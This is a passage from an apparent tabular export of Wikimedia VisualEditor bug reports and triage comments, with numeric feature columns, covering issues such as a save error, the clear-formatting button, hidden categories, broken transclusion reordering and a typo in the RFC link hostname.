The error is reproducible (with this exact console output) even when I make further edits to the article content or change the edit summary and then go back to the ""Save your changes"" dialog: I can't save seem to save my edit at all. Haven't yet seen this occur in other articles, though (this was an enwiki article).

--------------------------
**Version**: unspecified
**Severity**: normal"
242084,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'info' of undefined"" (when saving the page)","No reproduction steps; likely caused by an old issue in alien content blocks, fixed ages ago.",,,1395355910,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ydxhivupzag4qu4llhwx,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.105263157894737,1.0,"No reproduction steps; likely caused by an old issue in alien content blocks, fixed ages ago."
242082,"VisualEditor: Fix ""Uncaught TypeError: Cannot read property 'info' of undefined"" (when saving the page)",Which article did this occur on?,,,1374367709,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ydxhivupzag4qu4llhwx,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,Which article did this occur on?
53756,VisualEditor: Make it clearer that the clear formatting button does something (clears pre-annotations) if any are set,"In the visual editor, the button to remove formatting activates if the cursor is placed on a formatted (bold or italic) character. However clicking the button has no effect unless text is selected.

Either the button should be disabled when no text is selected, or clicking it when no text is selected should have an effect (probably remove formatting from the current word).

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374343560,1395356968.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-gkasmmcbpikhl6gq6kg5,task_description,resolved,True,c1,3,False,False,False,2,,0.0,0.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,7.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,5.0,4.0,3.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,4.241758241758242,0.5824175824175825,"In the visual editor, the button to remove formatting activates if the cursor is placed on a formatted (bold or italic) character. However clicking the button has no effect unless text is selected.

Either the button should be disabled when no text is selected, or clicking it when no text is selected should have an effect (probably remove formatting from the current word).

--------------------------
**Version**: unspecified
**Severity**: normal"
241932,VisualEditor: Make it clearer that the clear formatting button does something (clears pre-annotations) if any are set,This was fixed by only showing it as enabled when there's a pre-annnotation stack.,,,1395356968,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gkasmmcbpikhl6gq6kg5,task_subcomment,,True,c1,3,True,,,37,,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,6.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,3.8333333333333335,1.0,This was fixed by only showing it as enabled when there's a pre-annnotation stack.
241928,VisualEditor: Make it clearer that the clear formatting button does something (clears pre-annotations) if any are set,"Although the interface doesn't clearly indicate this, when the cursor is inside bold text, the toolbar shows ""Bold"" active. When you then click ""Clear formatting"", nothing inside the document will change (since no text is selected) however it does affect text entered from this point on.

Basically when your cursor is inside or against bold text, you'd expect text entered after it will also be bold. Clearing formatting at that point means it will unbold your cursor (if you know what I mean).",,,1386820754,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-gkasmmcbpikhl6gq6kg5,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,0.5,0.5,3.5,1.5,0.0,0.5,1.0,0.5,1.5,0.0,0.0,0.0,1.0,1.5,8.0,8.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,3.5,0.0,7.0,5.0,2.5,0.0,4.5,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,10.0,0.5,2.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,2.5,0.0,0.0,1.0,2.0,3.0,5.0,4.0,1.0,5.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,8.0,8.0,0.0,0.0,2.0,0.0,8.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0588235294117645,0.7647058823529411,"Although the interface doesn't clearly indicate this, when the cursor is inside bold text, the toolbar shows ""Bold"" active. When you then click ""Clear formatting"", nothing inside the document will change (since no text is selected) however it does affect text entered from this point on.

Basically when your cursor is inside or against bold text, you'd expect text entered after it will also be bold. Clearing formatting at that point means it will unbold your cursor (if you know what I mean)."
53752,VisualEditor: In a page with many categories only the first categories are visible in the editor,"The English [[Barack Obama]] article has dozens of categories. When editing the categories using Page settings, only the first few of them are visible and editable, and it's impossible to get to the rest of them, because there is not scrollbar.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374334080,1385391924.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-z7k6ld4qvfzn2ify7im6,task_description,resolved,True,c1,3,False,False,False,2,,1.0,0.0,0.0,0.0,1.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,10.0,4.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,3.0,0.0,0.0,3.0,4.0,0.6811594202898551,"The English [[Barack Obama]] article has dozens of categories. When editing the categories using Page settings, only the first few of them are visible and editable, and it's impossible to get to the rest of them, because there is not scrollbar.

--------------------------
**Version**: unspecified
**Severity**: normal"
241746,VisualEditor: In a page with many categories only the first categories are visible in the editor,This was fixed in August; sorry for the slow triage.,,,1385391924,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-z7k6ld4qvfzn2ify7im6,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,8.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,1.0,This was fixed in August; sorry for the slow triage.
53732,VisualEditor: Removal of blank lines when there are HTML comments seems not to work,"As reported on the Swedish feedback page:
http://sv.wikipedia.org/w/index.php?title=Wikipedia%3AVisualEditor%2F%C3%85terkoppling&diff=22695791&oldid=22693792

When there are blank lines before and after HTML comments, it seems like it is not possible to remove all of them. 

Ideally it should pe bossible to edit this version:

http://sv.wikipedia.org/w/index.php?title=Abrostola_major&oldid=21896423

in a way that it gets like this:

http://sv.wikipedia.org/w/index.php?title=Abrostola_major&diff=22695707&oldid=21896423

But in VE editing mode it is not possible to format it like that without accidentaly deleting templates on the page. Is it perhaps because of the HTML comments?

--------------------------
**Version**: unspecified
**Severity**: minor",Needs Triage,90.0,1374306840,1390416862.0,PHID-USER-bvi77f4zkvm3mrkrqvwp,False,,False,PHID-TASK-ltt3irfuuufns7tetoc3,task_description,resolved,True,c1,3,False,False,False,2,,0.5,0.0,0.0,0.0,1.5,4.0,1.5,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,4.0,11.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,4.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,0.0,0.5,0.0,0.0,9.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.0,3.0,10.0,1.5,1.5,5.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,5.0,11.5,3.5,1.0,0.0,0.0,5.0,0.0,1.0,0.5,0.5,1.0,0.0,0.0,0.0,3.827272727272727,0.7727272727272727,"As reported on the Swedish feedback page:
URL

When there are blank lines before and after HTML comments, it seems like it is not possible to remove all of them. 

Ideally it should pe bossible to edit this version:

URL

in a way that it gets like this:

URL

But in VE editing mode it is not possible to format it like that without accidentaly deleting templates on the page. Is it perhaps because of the HTML comments?

--------------------------
**Version**: unspecified
**Severity**: minor"
240488,VisualEditor: Removal of blank lines when there are HTML comments seems not to work,"Yes, this is caused by the lack of ability to edit HTML comments making it impossible for users to understand what they're doing; though there are slightly distinct issues here, I'm going to merge it with that feature request.

*** This bug has been marked as a duplicate of bug 49603 ***",,,1390416862,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ltt3irfuuufns7tetoc3,task_subcomment,,True,c1,3,True,,,29,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,2.0,2.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,14.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,5.0,6.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,6.0,16.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,3.7777777777777777,0.8253968253968254,"Yes, this is caused by the lack of ability to edit HTML comments making it impossible for users to understand what they're doing; though there are slightly distinct issues here, I'm going to merge it with that feature request.

*** This bug has been marked as a duplicate of bug 49603 ***"
53726,Incorrect URL used for magic RFC links,"js/lib/pegTokenizer.pegjs.txt currently contains the following:

    var base_urls = {
            'RFC'  : '//tools.ietfs.org/html/rfc%s',
            'PMID' : '//www.ncbi.nlm.nih.gov/pubmed/%s?dopt=Abstract'
        }

base_urls['RFC'] is wrong; the hostname should be tools.ietf.org .

I spotted this when looking at Firebug's HTML tab while VisualEditor was
open on https://en.wikipedia.org/wiki/MD4#Security .

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374285720,1374508114.0,PHID-USER-3ampiwske4lc434cm6ot,False,,False,PHID-TASK-ebhdb6qns6ottyytmzfa,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,1.0,0.0,2.0,3.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,11.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,3.0,11.0,0.0,10.0,0.0,1.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,4.451612903225806,0.6666666666666666,"js/lib/pegTokenizer.pegjs.txt currently contains the following:

    var base_urls = {
            'RFC'  : '//tools.ietfs.org/html/rfc%s',
            'PMID' : '//www.ncbi.nlm.nih.gov/pubmed/%s?dopt=Abstract'
        }

base_urls['RFC'] is wrong; the hostname should be tools.ietf.org .

I spotted this when looking at Firebug's HTML tab while VisualEditor was
open on URL .

--------------------------
**Version**: unspecified
**Severity**: normal"
240170,Incorrect URL used for magic RFC links,"Change 75118 merged by jenkins-bot:
(Bug 51726) Fixed typo in url base for RFCs

https://gerrit.wikimedia.org/r/75118",,,1374507519,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ebhdb6qns6ottyytmzfa,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.590909090909091,1.0,"Change 75118 merged by jenkins-bot:
(Bug 51726) Fixed typo in url base for RFCs

GERRIT_URL"
240168,Incorrect URL used for magic RFC links,"Change 75118 had a related patch set uploaded by Subramanya Sastry:
(Bug 51726) Fixed typo in url base for RFCs

https://gerrit.wikimedia.org/r/75118",,,1374506856,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ebhdb6qns6ottyytmzfa,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,27.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.038461538461538,1.0,"Change 75118 had a related patch set uploaded by Subramanya Sastry:
(Bug 51726) Fixed typo in url base for RFCs

GERRIT_URL"
53714,VisualEditor: add new categories after old categories,"At the moment, categories are pushed right to the bottom of the page. This is mostly useful, but not always; it causes policy issues if there are stub templates around. While this is not something we can or will support, the fact remains that we're essentially imposing a structure on wikis by saying ""categories will always go at the bottom"".

What would be a nice way around this problem, at least with existing articles, is to have newly-added categories stuck immediately after existing categories - wherever they are in the page. We get some degree of consistency within articles that would otherwise be lacking.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Needs Triage,90.0,1374267420,1377833797.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-s4chuo432xmbozeyirll,task_description,resolved,True,c1,3,False,False,True,2,,0.5,0.5,0.0,0.5,1.0,2.5,2.5,0.0,0.0,0.5,1.5,0.5,0.0,0.0,0.5,1.5,0.0,7.0,10.5,0.5,0.5,0.0,0.5,0.0,0.5,0.0,0.0,1.0,0.5,2.5,0.0,5.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,2.5,0.0,0.0,0.0,0.5,0.0,12.5,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,4.5,5.0,4.5,2.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.5,0.5,0.0,1.0,0.0,3.0,0.0,2.0,1.0,0.0,3.0,0.0,0.5,0.0,4.260455486542443,0.7481366459627329,"At the moment, categories are pushed right to the bottom of the page. This is mostly useful, but not always; it causes policy issues if there are stub templates around. While this is not something we can or will support, the fact remains that we're essentially imposing a structure on wikis by saying ""categories will always go at the bottom"".

What would be a nice way around this problem, at least with existing articles, is to have newly-added categories stuck immediately after existing categories - wherever they are in the page. We get some degree of consistency within articles that would otherwise be lacking.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
239615,VisualEditor: add new categories after old categories,"This is a duplicate of the (heretofore-confusingly-named) bug 50882.

*** This bug has been marked as a duplicate of bug 50882 ***",,,1377833797,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-s4chuo432xmbozeyirll,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.235294117647059,0.6176470588235294,"This is a duplicate of the (heretofore-confusingly-named) bug 50882.

*** This bug has been marked as a duplicate of bug 50882 ***"
53674,VisualEditor: Rearranging transclusions breaks the ability to select parameters.,"If you add multiple templates in one transclusion it is possible to rearrange them. Once rearranged, once cannot select the parameters from the first template anymore.

Steps to reproduce:
- Open any random page in the visual Editor.
- Open the ""Transclusion"" window. Select the ""Cite web"" template and click the ""Add template"" button. It should be added with two default parameters.
- Click the + icon in the bottom left of the Transclusion dialog, and click the button to add another template.
- Add another ""Cite web"" template as described in step 2. Again it should come with two default parameters.

Right now you should have a transclusion window containing two cite web templates.

- Click the bottom template, and press the ^ icon to move that template to the top of the list. 
- Now try to click the default ""Source Title"" or ""URL"" parameter in the top template. It is no longer possible to select or alter them. 
- Extra: If you move the other template as well the same problem occurs; In that case both template's parameters can no longer be edited.

Tested on Firefox 22 and Chrome 28 on Windows 7.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374229860,1385392298.0,PHID-USER-ohetl546bwt5ac2szu5w,False,,False,PHID-TASK-ydbji5fefbbeiocpl24u,task_description,resolved,True,c1,3,False,False,False,2,,0.3333333333333333,0.0,0.0,0.6666666666666666,0.3333333333333333,5.666666666666667,0.3333333333333333,0.0,0.0,0.6666666666666666,2.6666666666666665,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,5.0,8.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,1.3333333333333333,1.6666666666666667,1.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,1.6666666666666667,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,13.666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,6.333333333333333,1.3333333333333333,11.333333333333334,0.6666666666666666,2.0,8.666666666666666,0.0,0.0,0.0,0.0,7.333333333333333,0.0,2.6666666666666665,0.0,3.0,8.0,4.0,0.0,4.333333333333333,0.0,3.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,3.8413525795241914,0.6756214915797916,"If you add multiple templates in one transclusion it is possible to rearrange them. Once rearranged, once cannot select the parameters from the first template anymore.

Steps to reproduce:
- Open any random page in the visual Editor.
- Open the ""Transclusion"" window. Select the ""Cite web"" template and click the ""Add template"" button. It should be added with two default parameters.
- Click the + icon in the bottom left of the Transclusion dialog, and click the button to add another template.
- Add another ""Cite web"" template as described in step 2. Again it should come with two default parameters.

Right now you should have a transclusion window containing two cite web templates.

- Click the bottom template, and press the ^ icon to move that template to the top of the list. 
- Now try to click the default ""Source Title"" or ""URL"" parameter in the top template. It is no longer possible to select or alter them. 
- Extra: If you move the other template as well the same problem occurs; In that case both template's parameters can no longer be edited.

Tested on Firefox 22 and Chrome 28 on Windows 7.

--------------------------
**Version**: unspecified
**Severity**: normal"
237251,VisualEditor: Rearranging transclusions breaks the ability to select parameters.,This was fixed as part of the transclusion dialog re-write in August; sorry for the slow triage.,,,1385392298,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ydbji5fefbbeiocpl24u,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,24.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8095238095238093,0.9523809523809523,This was fixed as part of the transclusion dialog re-write in August; sorry for the slow triage.
237242,VisualEditor: Rearranging transclusions breaks the ability to select parameters.,Also happens on Linux.,,,1374477983,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-ydbji5fefbbeiocpl24u,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Also happens on Linux.
237235,VisualEditor: Rearranging transclusions breaks the ability to select parameters.,"Addendum: It seems that this does not only affect parameters. If you try to move the templates around more then once it will no longer be possible to rearrange them (The buttons for this no longer work). Also, any template ""Corrupted"" by moving them around will not be added to the page when one presses ""Apply Changes"".",,,1374231992,,PHID-USER-ohetl546bwt5ac2szu5w,False,,,PHID-TASK-ydbji5fefbbeiocpl24u,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,19.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,0.0,3.0,1.0,1.0,1.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,10.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,4.0,3.0,12.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,7.0,12.0,1.0,0.0,6.0,0.0,7.0,0.0,1.0,0.0,3.0,1.0,3.0,0.0,0.0,3.8823529411764706,0.7647058823529411,"Addendum: It seems that this does not only affect parameters. If you try to move the templates around more then once it will no longer be possible to rearrange them (The buttons for this no longer work). Also, any template ""Corrupted"" by moving them around will not be added to the page when one presses ""Apply Changes""."
53655,"VisualEditor: Relabel buttons in ""cancel editing"" confirmation dialog","**Author:** `ignatzmice.wiki`

**Description:**
The button to cancel edits and return to read mode is labeled ""cancel""; clicking it brings up a dialog box with buttons ""OK"" and ""cancel"". Clicking *that* ""cancel"" cancels the cancel and returns to editing mode—not blatantly wrong, but confusing. Perhaps the first button should be renamed ""discard edits"" or similar?

Original thread: https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564868353#Ambiguity_in_.22Are_you_sure_you_want_to_cancel.22_dialog.3F See also bug 47676, closed as WONTFIX.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1374203640,1374267909.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z2agxnwfy52lvo6yjxrd,task_description,resolved,True,c1,3,False,False,True,2,,0.0,0.0,0.0,1.5,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,4.0,0.0,1.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,9.0,0.0,3.5,3.0,0.0,0.0,0.0,0.0,4.0,0.5,1.0,0.0,0.5,4.0,3.0,1.0,6.0,0.0,0.5,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,3.6984271022383544,0.6875378100423473,"**Author:** CODE

**Description:**
The button to cancel edits and return to read mode is labeled ""cancel""; clicking it brings up a dialog box with buttons ""OK"" and ""cancel"". Clicking *that* ""cancel"" cancels the cancel and returns to editing mode—not blatantly wrong, but confusing. Perhaps the first button should be renamed ""discard edits"" or similar?

Original thread: URL See also bug 47676, closed as WONTFIX.

--------------------------
**Version**: unspecified
**Severity**: normal"
236185,"VisualEditor: Relabel buttons in ""cancel editing"" confirmation dialog","Merging with bug 50955.

